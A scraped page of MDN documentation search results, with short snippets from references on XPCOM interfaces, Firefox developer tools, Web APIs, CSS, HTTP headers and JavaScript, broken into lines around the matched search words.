@param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to start searching @param acount tells us how far
from the offset we are to search.
...use -1 to search
from the end of the string.
... @param astring contains set of chars to be found @param aoffset tells us where in this string to start searching (counting
from left) @return offset in string, or knotfound parameters char* astring print32 aoffset print32 findcharinset(const nscstring&, print32) const - source parameters nscstring& astring print32 aoffset rfindcharinset print32 rfindcharinset(const char*, print32) const - source this method searches this string for the last character found in the given string.
...And 7 more matches
nsPromiseFlatString
@param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to start searching @param acount tells us how far
from the offset we are to search.
...use -1 to search
from the end of the string.
... @param astring contains set of chars to be found @param aoffset tells us where in this string to start searching (counting
from left) @return offset in string, or knotfound parameters char* astring print32 aoffset print32 findcharinset(const nsstring&, print32) const - source parameters nsstring& astring print32 aoffset print32 findcharinset(const prunichar*, print32) const - source parameters prunichar* astring print32 aoffset rfindcharinset print32 rfindcharinset(const prunichar*, print32) const - ...
...And 7 more matches
nsString
@param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to start searching @param acount tells us how far
from the offset we are to search.
...use -1 to search
from the end of the string.
... @param astring contains set of chars to be found @param aoffset tells us where in this string to start searching (counting
from left) @return offset in string, or knotfound parameters char* astring print32 aoffset print32 findcharinset(const nsstring&, print32) const - source parameters nsstring& astring print32 aoffset print32 findcharinset(const prunichar*, print32) const - source parameters prunichar* astring print32 aoffset rfindcharinset print32 rfindcharinset(const prunichar*, print32) const - ...
...And 7 more matches
nsXPIDLCString
@param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to start searching @param acount tells us how far
from the offset we are to search.
...use -1 to search
from the end of the string.
... @param astring contains set of chars to be found @param aoffset tells us where in this string to start searching (counting
from left) @return offset in string, or knotfound parameters char* astring print32 aoffset print32 findcharinset(const nscstring&, print32) const - source parameters nscstring& astring print32 aoffset rfindcharinset print32 rfindcharinset(const char*, print32) const - source this method searches this string for the last character found in the given string.
...And 7 more matches
nsXPIDLString
@param astring is substring to be sought in this @param aignorecase selects case sensitivity @param aoffset tells us where in this string to start searching @param acount tells us how far
from the offset we are to search.
...use -1 to search
from the end of the string.
... @param astring contains set of chars to be found @param aoffset tells us where in this string to start searching (counting
from left) @return offset in string, or knotfound parameters char* astring print32 aoffset print32 findcharinset(const nsstring&, print32) const - source parameters nsstring& astring print32 aoffset print32 findcharinset(const prunichar*, print32) const - source parameters prunichar* astring print32 aoffset rfindcharinset print32 rfindcharinset(const prunichar*, print32) const - ...
...And 7 more matches
nsIAccessibleTable
inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsiaccessible getcellat(in long rowindex, in long columnindex); note: renamed
from cellrefat in gecko 1.9.2 long getcellindexat(in long rowindex, in long columnindex); note: renamed
from getindexat in gecko 1.9.2 astring getcolumndescription(in long columnindex); long getcolumnextentat(in long row, in long column); long getcolumnindexat(in long cellindex); note: renamed
from getcolumnatindex in gecko 1.9.2 void getrowandcolumnindicesat(in long cellindex, out long rowindex, out long columnindex); astring getrowde...
...scription(in long rowindex); long getrowextentat(in long row, in long column); long getrowindexat(in long cellindex); note: renamed
from getrowatindex in gecko 1.9.2 void getselectedcellindices(out unsigned long cellsarraysize, [retval, array, size_is(cellsarraysize)] out long cellsarray); note: renamed
from getselectedcells in gecko 1.9.2 void getselectedcolumnindices(out unsigned long columnsarraysize, [retval, array, size_is(columnsarraysize)] out long columnsarray); note: renamed
from getselectedcolumns in gecko 1.9.2 void getselectedrowindices(out unsigned long rowsarraysize, [retval, array, size_is(rowsarraysize)] out long rowsarray); note: renamed
from getselectedrows in gecko 1.9.2 boolean iscellselected(in long rowindex, in long ...
...note: renamed
from columns in gecko 1.9.2 columnheader nsiaccessibletable read only.
...And 7 more matches
nsICookieService
inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) see nsicookiemanager and nsicookiemanager2 for methods to manipulate the cookie database directly.
... cookie-rejected broadcast whenever the user's preferences cause a cookie to be rejected
from being set.
... method overview string getcookiestring(in nsiuri auri, in nsichannel achannel); string getcookiestring
fromhttp(in nsiuri auri, in nsiuri afirsturi, in nsichannel achannel); void setcookiestring(in nsiuri auri, in nsiprompt aprompt, in string acookie, in nsichannel achannel); void setcookiestring
fromhttp(in nsiuri auri, in nsiuri afirsturi, in nsiprompt aprompt, in string acookie, in string aservertime, in nsichannel achannel); attributes attribute type description cookieiconisvisible boolean this attribute really doesn't belong on this interface.
...And 7 more matches
nsIDOMMozNetworkStatsManager
inherits
from: nsisupports last changed in gecko 18.0 (firefox 18.0 / thunderbird 18.0 / seamonkey 2.15) implemented by: @mozilla.org/networkstatsmanager;1.
...all samples older than maxstorageage
from now are deleted.
...if null, data measurement
from both origins are merged.
...And 7 more matches
nsIFocusManager
1.0 66 introduced gecko 1.9.2 inherits
from: nsisupports last changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) implemented by: @mozilla.org/focus-manager;1 as a service: var focusmanager = components.classes["@mozilla.org/focus-manager;1"] .getservice(components.interfaces.nsifocusmanager); method overview void clearfocus(in nsidomwindow awindow); void contentremoved(in nsidocument adocument, in nsicontent aelement); native code only!
... attributes attribute type description activewindow nsidomwindow the most active (
frontmost) window, or null if no window that is part of the application is active.
...if the current focus within the new focusedwindow is a
frame element, then the focusedwindow will actually be set to the child window and the current element within that set as the focused element.
...And 7 more matches
nsIHttpChannel
inherits
from: nsichannel last changed in gecko 1.3 to create an http channel, use nsiioservice with a http uri, for example: var ios = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var ch = ios.newchannel("https://www.example.com/", null, null); method overview void getoriginalresponseheader(in acstring aheader, in nsihttpheadervisitor avisitor); acstring getrequestheader(in acstring aheader); acstring getresponseheader(in acstring header); b...
...ean merge); void visitoriginalresponseheaders(in nsihttpheadervisitor avisitor); void visitrequestheaders(in nsihttpheadervisitor avisitor); void visitresponseheaders(in nsihttpheadervisitor avisitor); constants constant description referrer_policy_no_referrer_when_downgrade default; indicates not to pass on the referrer when downgrading
from https to http referrer_policy_no_referrer indicates no referrer will be sent referrer_policy_origin only send the origin of the referring uri referrer_policy_origin_when_xorigin same as the default; only send the origin of the referring uri for cross-origin requests referrer_policy_unsafe_url always send the referrer, even when downgrading
from ht...
...this is the address (uri) of the resource
from which this channel's uri was obtained (see rfc2616 section 14.36).
...And 7 more matches
nsILoginManager
toolkit/components/passwordmgr/public/nsiloginmanager.idlscriptable used to interface with the built-in password manager 1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) replaces nsipasswordmanager which was used in older versions of gecko.
... ahttprealm for protocol logins, specify the http realm for which the login applies; this is obtained
from the www-authenticate header (see rfc 2617).
... ahttprealm for protocol logins, specify the http realm for which the login applies; this is obtained
from the www-authenticate header (see rfc 2617).
...And 7 more matches
nsIMemory
inherits
from: nsisupports last changed in gecko 0.9.6 nsimemory is used to allocate and deallocate memory segments
from a heap.
... the implementation is
free to define the heap.
... method overview voidptr alloc(in size_t size); violates the xpcom interface guidelines void
free(in voidptr ptr); violates the xpcom interface guidelines void heapminimize(in boolean immediate); boolean islowmemory(); deprecated since gecko 2.0 voidptr realloc(in voidptr ptr, in size_t newsize); violates the xpcom interface guidelines methods alloc allocates a block of memory of a particular size.
...And 7 more matches
nsIParserUtils
1.0 66 introduced gecko 13.0 inherits
from: nsisupports last changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) warning: do not use this
from within gecko--use nscontentutils, nstreesanitizer, and so on directly instead.
... implemented by: @mozilla.org/parserutils;1 as a service: var parserutils = components.classes["@mozilla.org/parserutils;1"] .getservice(components.interfaces.nsiparserutils); method overview astring converttoplaintext(in astring src, in unsigned long flags, in unsigned long wrapcol); nsidomdocument
fragment parse
fragment(in astring
fragment, in unsigned long flags, in boolean isxml, in nsiuri baseuri, in nsidomelement element); astring sanitize(in astring src, in unsigned long flags); constants constant value description sanitizerallowcomments (1 << 0) flag for sanitizer: allow comment nodes.
... parse
fragment() parses markup into a sanitized document
fragment.
...And 7 more matches
nsISHistory
inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in an embedded browser environment, the nsiwebbrowser object creates an instance of session history for each open window.
... a handle to the session history object can be obtained
from nsiwebnavigation.
...listeners are notified when pages are loaded or purged
from history.
...And 7 more matches
nsIScriptableIO
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading
from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages
from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
... last changed in gecko 1.9 (firefox 3) inherits
from: nsisupports a scriptable io object can be used in an extension or chrome code by referring to the global io object.
... for example: io.getfile("profile", "cookies.txt");
from an xpcom component, however, you will need to get a reference as with other components: var scriptableio = components.classes["@mozilla.org/io/scriptable-io;1"] .getservice(); scriptableio.getfile("profile", "cookies.txt"); method overview nsifile getfile(in astring alocation, in astring afilename); nsifile getfilewithpath(in astring afilepath); nsisupports newinputstream(in nsivariant abase, in astring amode, [optional] in astring acharset, [optional] in astring areplacechar, [optional] in unsigned long abuffersize); nsisupports newoutputstream(in nsivariant abase, in astring amode, [optional] in astring acharset, [optional] in astring arepla...
...And 7 more matches
nsIScriptableUnescapeHTML
1.0 66 introduced gecko 1.8 obsolete gecko 14.0 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) note: as of firefox 14, this interface is obsolete (but still available for compatibility with legacy extensions) and all its functionality is available with more configuration options via the nsiparserutils interface.
... implemented by: @mozilla.org/feed-unescapehtml;1 as a service: var scriptableunescapehtml = components.classes["@mozilla.org/feed-unescapehtml;1"] .getservice(components.interfaces.nsiscriptableunescapehtml); method overview nsidomdocument
fragment parse
fragment(in astring
fragment, in prbool isxml, in nsiuri baseuri, in nsidomelement element); astring unescape(in astring src); methods parse
fragment() parses a string of html or xml source into a sanitized document
fragment.
... this is equivalent to calling nsiparserutils::parse
fragment(
fragment, 0, isxml, baseuri, element).
...And 7 more matches
nsIStringBundle
intl/strres/nsistringbundle.idlscriptable this interface provides functions for retrieving both formatted and unformatted strings
from a properties file.
... inherits
from: nsisupports last changed in gecko 1.7 this interface is used by xul:stringbundle to retrieve strings.
... method overview wstring formatstring
fromid(in long aid, [array, size_is(length)] in wstring params, in unsigned long length); wstring formatstring
fromname(in wstring aname, [array, size_is(length)] in wstring params, in unsigned long length); nsisimpleenumerator getsimpleenumeration(); wstring getstring
fromid(in long aid); wstring getstring
fromname(in wstring aname); methods formatstring
fromid() returns a formatted string with the given id
from the string bundle, where each occurrence of %s (uppercase) is replaced by each success...
...And 7 more matches
nsIWebProgressListener
inherits
from: nsisupports last changed in gecko 15 (firefox 15 / thunderbird 15 / seamonkey 2.12) nsiwebprogress describes the parent-child relationship of nsiwebprogress instances.
...this includes other document requests (for example corresponding to html <i
frame> elements).
... for example, in the case of navigation within a single
frame of a html
frameset, a nsiwebprogresslistener instance attached to the nsiwebprogress of the
frameset window will receive onstatechange() calls with the state_is_network flag set to indicate the start and stop of said navigation.
...And 7 more matches
Gecko Plugin API Reference - Plugins
ending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream urls getting urls getting the url and displaying the page posting urls posting data to an http server uploading files to an ftp server sending mail memory allocating and
freeing memory mac os flushing memory (mac os only) version, ui, and status information displaying a status line message getting agent information getting the current version finding out if a feature exists reloading a plug-in plug-in side plug-in api this chapter describes methods in the plug-in api that are available
from the plug-in object.
... npp_destroy npp_destroystream npp_getvalue np_getvalue npp_handleevent np_initialize npp_new npp_newstream npp_print npp_setvalue npp_setwindow np_shutdown npp_streamasfile npp_urlnotify npp_write npp_writeready browser side plug-in api this chapter describes methods in the plug-in api that are available
from the browser.
... warning: you must only call these
from the main thread; calling them
from other threads is not supported and may have unpredictable results.
...And 7 more matches
Shader Editor - Firefox Developer Tools
note: this tool has been deprecated and will soon be removed
from firefox.
... the shader editor enables you to see and edit the vertex and
fragment shaders used by webgl.
...with webgl you provide 2 programs called shaders which are called at the appropriate stages of the opengl rendering pipeline: a vertex shader, which computes the clip space coordinates of each vertex to be drawn, and a
fragment shader, which determines the color for each pixel to be drawn.
...And 7 more matches
Style Editor - Firefox Developer Tools
the style editor enables you to: view and edit all the stylesheets associated with a page create new stylesheets
from scratch and apply them to the page import existing stylesheets and apply them to the page to open the style editor choose the "style editor" option
from the "web developer" menu (which is a submenu in the "tools" menu on the mac).
...
from firefox 40 onwards, the style sheet pane also includes a context menu that lets you open the selected style sheet in a new tab.
... the media sidebar works especially well with responsive design view for creating and debugging responsive layouts:
from firefox 46 onwards, if an @media rule contains a screen size in a condition, then it is made clickable: clicking it then resizes the screen to that size using the responsive design view: creating and importing style sheets you can create a new style sheet by clicking the new button in the toolbar.
...And 7 more matches
Console messages - Firefox Developer Tools
async stack
frames stack traces show stack
frames for async functions separately
from those for synchronous functions.
...by logging reflow events the web console can give you insight into when reflow events are being triggered, how long they take to execute and, if the reflows are synchronous reflows triggered
from javascript, which code triggered them.
... reflow events are logged as "reflow" messages, as distinct
from css errors or warnings.
...And 7 more matches
The JavaScript input interpreter - Firefox Developer Tools
the console suggests completions
from the scope of the currently executing stack
frame.
... working with i
frames if a page contains embedded i
frames, you can use the cd() function to change the console's scope to a specific i
frame, and then you can execute functions defined in the document hosted by that i
frame.
... there are three ways to select an i
frame using cd(): you can pass the i
frame dom element: var
frame = document.getelementbyid("
frame1"); cd(
frame); you can pass a css selector that matches the i
frame: cd("#
frame1"); you can pass the i
frame's global window object: var
frame = document.getelementbyid("
frame1"); cd(
frame.contentwindow); to switch the context back to the top-level window, call cd() with no arguments: cd(); for example, suppose we have a document that embeds an i
frame: <!doctype html> <html> <head> <meta charset="utf-8"> </head> <body> <i
frame id="
frame1" src="static/
frame/my-
frame1.html"></i
frame> </body> </html> the i
frame defines a new function: <!doctype html> <html> <head> <meta charset="utf-8"> <script> function whoareyou() { ...
...And 7 more matches
CloseEvent - Web APIs
properties this interface also inherits properties
from its parent, event.
...the following definitions are sourced
from the iana website [ref].
... 1001 going away the endpoint is going away, either because of a server failure or because the browser is navigating away
from the page that opened the connection.
...And 7 more matches
DedicatedWorkerGlobalScope - Web APIs
properties this interface inherits properties
from the workerglobalscope interface, and its parent eventtarget, and therefore implements properties
from windowtimers, windowbase64, and windoweventhandlers.
... properties inherited
from workerglobalscope workerglobalscope.self returns an object reference to the dedicatedworkerglobalscope object itself.
... event handlers this interface inherits event handlers
from the workerglobalscope interface, and its parent eventtarget, and therefore implements event handlers
from windowtimers, windowbase64, and windoweventhandlers.
...And 7 more matches
Introduction to the DOM - Web APIs
the page content is stored in the dom and may be accessed and manipulated via javascript, so that we may write this approximative equation: api = dom + javascript the dom was designed to be independent of any particular programming language, making the structural representation of the document available
from a single, consistent api.
...your dom programming may be something as simple as the following, which displays an alert message by using the alert() function
from the window object, or it may use more sophisticated dom methods to actually create new content, as in the longer example below.
...a namednodemap has an item() method for this purpose, and you can also add and remove items
from a namednodemap.
...And 7 more matches
EffectTiming.easing - Web APIs
element.animate(), key
frameeffectreadonly(), and key
frameeffect() all accept an object of timing properties including easing.
... the value of easing corresponds directly to animationeffecttimingreadonly.easing in timing objects returned by animationeffectreadonly, key
frameeffectreadonly, and key
frameeffect.
... ease a decelerated rate of change, going
from fast to slow.
...And 7 more matches
Element: mousewheel event - Web APIs
if the wheel has rotated away
from the user, it's positive, otherwise negative.
... this means that the delta value sign is different
from dom level 3 event's wheel.
... if the device supports continuous scroll (e.g., trackpad of macbook or mouse wheel which can be turned smoothly), the value is computed
from accelerated scroll amount.
...And 7 more matches
Introduction to the File and Directory Entries API - Web APIs
you can, however, export a file
from a web app to a desktop app.
... for example, you can use the file api, create a blob, redirect an i
frame to the blob, and invoke the download manager.
... browsers impose storage quotas to prevent a web app
from using up the entire disk, browsers might impose a quota for each app and allocate storage among web apps.
...And 7 more matches
HTMLImageElement.x - Web APIs
in other words: it has either of those values set explicitly on it, or it has inherited it
from a containing element, or by being located within a column described by either <col> or <colgroup>.
... syntax let imagex = htmlimageelement.x; value an integer value indicating the distance in pixels
from the left edge of the element's nearest root element and the left edge of the <img> element's border box.
...if the image is in an <i
frame>, its x is relative to that
frame.
...And 7 more matches
HTMLImageElement.y - Web APIs
in other words: it has either of those values set explicitly on it, or it has inherited it
from a containing element, or by being located within a column described by either <col> or <colgroup>.
... syntax let imagey = htmlimageelement.y; value an integer value indicating the distance in pixels
from the top edge of the element's nearest root element to the top edge of the <img> element's border box.
...if the image is in an <i
frame>, its y is relative to that
frame.
...And 7 more matches
HTML Drag and Drop API - Web APIs
drag events html drag-and-drop uses the dom event model and drag events inherited
from mouse events.
...(see performing a drop.) note: neither dragstart nor dragend events are fired when dragging a file into the browser
from the os.
...the list object has methods to add a drag item to the list, remove a drag item
from the list, and clear the list of all drag items.
...And 7 more matches
ImageCapture - Web APIs
the imagecapture interface of the mediastream image capture api provides methods to enable the capture of images or photos
from a camera or other photographic device.
... it provides an interface for capturing images
from a photographic device referenced through a valid mediastreamtrack.
... constructor imagecapture() creates a new imagecapture object which can be used to capture still
frames (photos)
from a given mediastreamtrack which represents a video stream.
...And 7 more matches
Transcoding assets for Media Source Extensions - Web APIs
depending on the codec, you might need to
fragment the file to comply with the iso bmff spec.
...extract the executable
from the archive file and add it's location to your path statement.
...to install, you'll need to build/compile the application yourself
from the provided project files/source files, depending on your os and preferences.
...And 7 more matches
OffscreenCanvas - Web APIs
offscreencanvas.transfertoimagebitmap() creates an imagebitmap object
from the most recently rendered image of the offscreencanvas.
... examples synchronous display of
frames produced by an offscreencanvas one way to use the offscreencanvas api, is to use a renderingcontext that has been obtained
from an offscreencanvas object to generate new
frames.
... once a new
frame has finished rendering in this context, the transfertoimagebitmap() method can be called to save the most recent rendered image.
...And 7 more matches
RTCPeerConnection - Web APIs
no,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">rtcpeerconnection</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructorrtcpeerconnection() the rtcpeerconnection() constructor returns a newly-created rtcpeerconnection, which represents a connection between the local device and a remote peer.propertiesalso inherits properties
from: eventtargetcantrickleicecandidatesthe read-only rtcpeerconnection property cantrickleicecandidates returns a boolean which indicates whether or not the remote peer can accept trickled ice candidates.connectionstate the read-only connectionstate property of the rtcpeerconnection interface indicates the current state of the peer connection by returning one of the string values specified by the ...
...see signaling in lifetime of a webrtc session for more details about the signaling process.event handlersalso inherits event handlers
from: eventtargetonaddstream the rtcpeerconnection.onaddstream event handler is a property containing the code to execute when the addstream event, of type mediastreamevent, is received by this rtcpeerconnection.
...such an event is sent when an identity assertion, received
from a peer, has been successfully validated.onremovestream the rtcpeerconnection.onremovestream event handler is a property containing the code to execute when the removestream event, of type mediastreamevent, is received by this rtcpeerconnection.
...And 7 more matches
SVGLengthList - Web APIs
methods name & arguments return description clear() void clears all existing current items
from the list, with the result being an empty list.
... initialize(in svglength newitem) svglength clears all existing current items
from the list and re-initializes the list to hold the single item specified by the parameter.
... if the inserted item is already in a list, it is removed
from its previous list before it is inserted into this list.
...And 7 more matches
SVGNumberList - Web APIs
methods name & arguments return description clear() void clears all existing current items
from the list, with the result being an empty list.
... initialize(in svgnumber newitem) svgnumber clears all existing current items
from the list and re-initializes the list to hold the single item specified by newitem.
... if the inserted item is already in a list, it is removed
from its previous list before it is inserted into this list.
...And 7 more matches
Selection - Web APIs
a user may make a selection
from left to right (in document order) or right to left (reverse of document order).
...can return null if selection never existed in the document (e.g., an i
frame that was never clicked on).
...can return null if selection never existed in the document (for example, in an i
frame that was never clicked on).
...And 7 more matches
Basic scissoring - Web APIs
this is a good opportunity to talk about the difference between pixels and
fragments.
...a
fragment refers to the pixel while it is being handled by the webgl pipeline.
... the reason for this distinction is that
fragment color (and other
fragment values, such as depth) may be manipulated and changed several times during graphics operations before finally being written to the screen.
...And 7 more matches
Using the Web Audio API - Web APIs
to use all the nice things we get with the web audio api, we need to grab the source
from this element and pipe it into the context we have created.
...depending on the use case, there's a myriad of options, but we'll provide functionality to play/pause the sound, alter the track's volume, and pan it
from left to right.
... controlling sound programmatically
from javascript code is covered by browsers' autoplay support policies, as such is likely to be blocked without permission being granted by the user (or a whitelist).
...And 7 more matches
:is() (:matches(), :any()) - CSS: Cascading Style Sheets
working draft initial definition browser compatibility the compatibility table on this page is generated
from structured data.
...meedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:is()chrome full support 68notes disabled full support 68notes disabled notes combinators in the selector list argument may not match correctly (see bug 842157).disabled
from version 68: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
... no support 66 — 71notes alternate name disabled notes combinators in the selector list argument may not match correctly (see bug 842157).alternate name uses the non-standard name: :matches()disabled
from version 66 until version 71 (exclusive): this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
...And 7 more matches
CSS Grid Layout and Accessibility - CSS: Cascading Style Sheets
back in the early days of web design, the way we constructed page layout was to use html tables, then
fragment our design into the cells of those tables in order to create a layout.
...on paper grid helps us properly fulfill that promise of content separated
from mark-up, however is it possible to go too far with this idea?
...this means that someone navigating using the keyboard could be tabbing through links on your site and suddenly find themselves jumping
from the top to the bottom of the document due to a reordered item being next in line.
...And 7 more matches
<color> - CSS: Cascading Style Sheets
note: although <color> values are precisely defined, their actual appearance may vary (sometimes significantly)
from device to device.
... several keywords are aliases for each other: aqua / cyan fuchsia / magenta darkgray / darkgrey darkslategray / darkslategrey dimgray / dimgrey lightgray / lightgrey lightslategray / lightslategrey gray / grey slategray / slategrey though many keywords have been adapted
from x11, their rgb values may differ
from the corresponding color on x11 systems since manufacturers sometimes tailor x11 colors to their specific hardware.
... note: the list of accepted keywords has undergone many changes during the evolution of css: css level 1 only included 16 basic colors, called the vga colors as they were taken
from the set of displayable colors on vga graphics cards.
...And 7 more matches
writing-mode - CSS: Cascading Style Sheets
values horizontal-tb for ltr scripts, content flows horizontally
from left to right.
... for rtl scripts, content flows horizontally
from right to left.
... vertical-rl for ltr scripts, content flows vertically
from top to bottom, and the next vertical line is positioned to the left of the previous line.
...And 7 more matches
Orientation and motion data explained - Developer guides
about coordinate
frames a coordinate
frame is a system whereby the orientation of the three axes (x, y, and z) are defined in reference to an object.
... there are two coordinate
frames to consider when using orientation and motion events: earth coordinate
frame the earth coordinate
frame is the coordinate
frame fixed on the center of the earth; that is, the axes are aligned based on the pull of gravity and the standard magnetic north orientation.
... we use upper-case letters ("x", "y", and "z") to describe the axes of the earth coordinate
frame.
...And 7 more matches
Overview of events and handlers - Developer guides
events and event handling provide a core technique in javascript for reacting to incidents occurring when a browser accesses a web page, including events
from preparing a web page for display,
from interacting with the content of the web page, relating to the device on which the browser is running, and
from many other causes such as media stream playback or animation timing.
... events and event handling become central to web programming with the addition of the language to browsers, accompanying a switch in the rendering architecture of browsers
from fetch and load page rendering to event driven, reflow based, page rendering.
...douglas crockford explains this change effectively in several lectures, notably his talk, an inconvenient api: the theory of the dom, which shows the change in flow
from the original browser flow to the event driven browser.
...And 7 more matches
Allowing cross-origin use of images and canvas - HTML: Hypertext Markup Language
html provides a crossorigin attribute for images that, in combination with an appropriate cors header, allows images defined by the <img> element that are loaded
from foreign origins to be used in a <canvas> as if they had been loaded
from the current origin.
... security and tainted canvases because the pixels in a canvas's bitmap can come
from a variety of sources, including images or videos retrieved
from other hosts, it's inevitable that security problems may arise.
... as soon as you draw into a canvas any data that was loaded
from another origin without cors approval, the canvas becomes tainted.
...And 7 more matches
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
if the audio's metadata isn't available yet—thereby preventing you
from knowing the media's start time or duration—currenttime instead indicates, and can be used to change, the time at which playback will begin.
... if the audio is being streamed, it's possible that the user agent may not be able to obtain some parts of the resource if that data has expired
from the media buffer.
...the getstartdate() method can be used to determine the beginning point of the media timeline's reference
frame.
...And 7 more matches
<link>: The External Resource Link element - HTML: Hypertext Markup Language
as you'll see
from our link types reference, there are many different kinds of relationship.
...however, this isn't a good practice to follow; it makes more sense to separate your <link> elements
from your body content, putting them in the <head>.
... value applies to audio <audio> elements document <i
frame> and <
frame> elements embed <embed> elements fetch fetch, xhr this value also requires <link> to contain the crossorigin attribute.
...And 7 more matches
Cache-Control - HTTP
cache-control: max-age=<seconds> cache-control: max-stale[=<seconds>] cache-control: min-
fresh=<seconds> cache-control: no-cache cache-control: no-store cache-control: no-transform cache-control: only-if-cached cache response directives standard cache-control directives that can be used by the server in an http response.
...this directive is not effective in preventing caches
from storing your response.
...this directive is not effective in preventing caches
from storing your response.
...And 7 more matches
Feature-Policy - HTTP
the http feature-policy header provides a mechanism to allow and deny the use of browser features in its own
frame, and in content within any <i
frame> elements in the document.
... <allowlist> an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (i
frames) regardless of their origin.
... 'self': the feature will be allowed in this document, and in all nested browsing contexts (i
frames) in the same origin.
...And 7 more matches
Set-Cookie - HTTP
the set-cookie http response header is used to send a cookie
from the server to the user agent, so the user agent can send it back to the server later.
... browsers block
frontend javascript code
from accessing the set cookie header, as required by the fetch spec, which defines set-cookie as a forbidden response-header name that must be filtered out
from any response exposed to
frontend code.
... __secure- prefix: cookies names starting with __secure- (dash is part of the prefix) must be set with the secure flag
from a secure page (https).
...And 7 more matches
Concurrency model and the event loop - JavaScript
this model is quite different
from models in other languages like c and java.
... visual representation stack function calls form a stack of
frames.
... function foo(b) { let a = 10 return a + b + 11 } function bar(x) { let y = 3 return foo(x * y) } console.log(bar(7)) //returns 42 when calling bar, a first
frame is created containing bar's arguments and local variables.
...And 7 more matches
Indexed collections - JavaScript
// // this is equivalent to: let arr = [] arr.length = 42 calling array(n) results in a rangeerror, if n is a non-whole number whose
fractional portion is non-zero.
... let myarray = new array('1', '2') myarray.push('3') // myarray is now ["1", "2", "3"] pop() removes the last element
from an array and returns that element.
... let myarray = new array('1', '2', '3') let last = myarray.pop() // myarray is now ["1", "2"], last = "3" shift() removes the first element
from an array and returns that element.
...And 7 more matches
Inheritance and the prototype chain - JavaScript
here is what happens when trying to access a property: // let's create an object o
from function f with its own properties a and b: let f = function () { this.a = 1; this.b = 2; } let o = new f(); // {a: 1, b: 2} // add properties in f function's prototype f.prototype.b = 3; f.prototype.c = 4; // do not set the prototype f.prototype = {b:3,c:4}; this will break the prototype chain // o.[[prototype]] has properties b and c.
... var o = { a: 2, m: function() { return this.a + 1; } }; console.log(o.m()); // 3 // when calling o.m in this case, 'this' refers to o var p = object.create(o); // p is an object that inherits
from o p.a = 4; // creates a property 'a' on p console.log(p.m()); // 5 // when p.m is called, 'this' refers to p.
...please note that the code below is
free-standing (it is safe to assume there is no other javascript on the webpage other than the below code).
...And 7 more matches
Array.prototype.copyWithin() - JavaScript
if negative, target will be counted
from the end.
... start optional zero-based index at which to start copying elements
from.
... if negative, start will be counted
from the end.
...And 7 more matches
TypedArray - JavaScript
all typedarrays constructors inherit common properties
from the %typedarray% constructor function.
... object when called with an object argument, a new typed array is created as if by the typedarray.
from() method.
... static methods typedarray.
from() creates a new typedarray
from an array-like or iterable object.
...And 7 more matches
Uint8Array - JavaScript
static methods uint8array.
from() creates a new uint8array
from an array-like or iterable object.
... see also array.
from().
... uint8array.prototype.byteoffset returns the offset (in bytes) of the uint8array
from the start of its arraybuffer.
...And 7 more matches
Subresource Integrity - Web security
subresource integrity (sri) is a security feature that enables browsers to verify that resources they fetch (for example,
from a cdn) are delivered without unexpected manipulation.
... note: for subresource-integrity verification of a resource served
from an origin other than the document in which it’s embedded, browsers additionally check the resource using cross-origin resource sharing (cors), to ensure the origin serving the resource allows it to be shared with the requesting origin.
...however, using cdns also comes with a risk, in that if an attacker gains control of a cdn, the attacker can inject arbitrary malicious content into files on the cdn (or replace the files completely) and thus can also potentially attack all sites that fetch files
from that cdn.
...And 7 more matches
Using templates and slots - Web Components
slots are identified by their name attribute, and allow you to define placeholders in your template that can be filled with any markup
fragment you want when the element is used in the markup.
... the following set of code snippets show how to use <slot> together with <template> and some javascript to: create a <element-details> element with named slots in its shadow root design the <element-details> element in such a way that, when used in documents, it is rendered
from composing the element’s content together with content
from its shadow root—that is, pieces of the element’s content are used to fill in named slots in its shadow root note that it is technically possible to use <slot> element without a <template> element, e.g., within say a regular <div> element, and still take advantage of the place-holder features of <slot> for shadow dom content, and...
... creating a template with some slots first of all, we use the <slot> element within a <template> element to create a new "element-details-template" document
fragment containing some named slots: <template id="element-details-template"> <style> details {font-family: "open sans light",helvetica,arial} .name {font-weight: bold; color: #217ac0; font-size: 120%} h4 { margin: 10px 0 -8px 0; } h4 span { background: #217ac0; padding: 2px 6px 2px 6px } h4 span { border: 1px solid #cee9f9; border-radius: 4px } h4 span { color: white } .attributes...
...And 7 more matches
Classes and Inheritance - Archive of obsolete content
a class is a blueprint
from which individual objects are created.
...inheritance allows classes to inherit state and behavior
from an existing classes, known as the base class.
...constructor calls differ
from ordinary function calls in that javascript automatically creates a new object and binds it to the keyword this for the duration of the call.
...And 6 more matches
Modules - Archive of obsolete content
unfortunately, javascript does not provide any means to load scripts
from other locations: we have to rely on the host application to provide us with this functionality.
...however, the following example shows how it can be used to load scripts
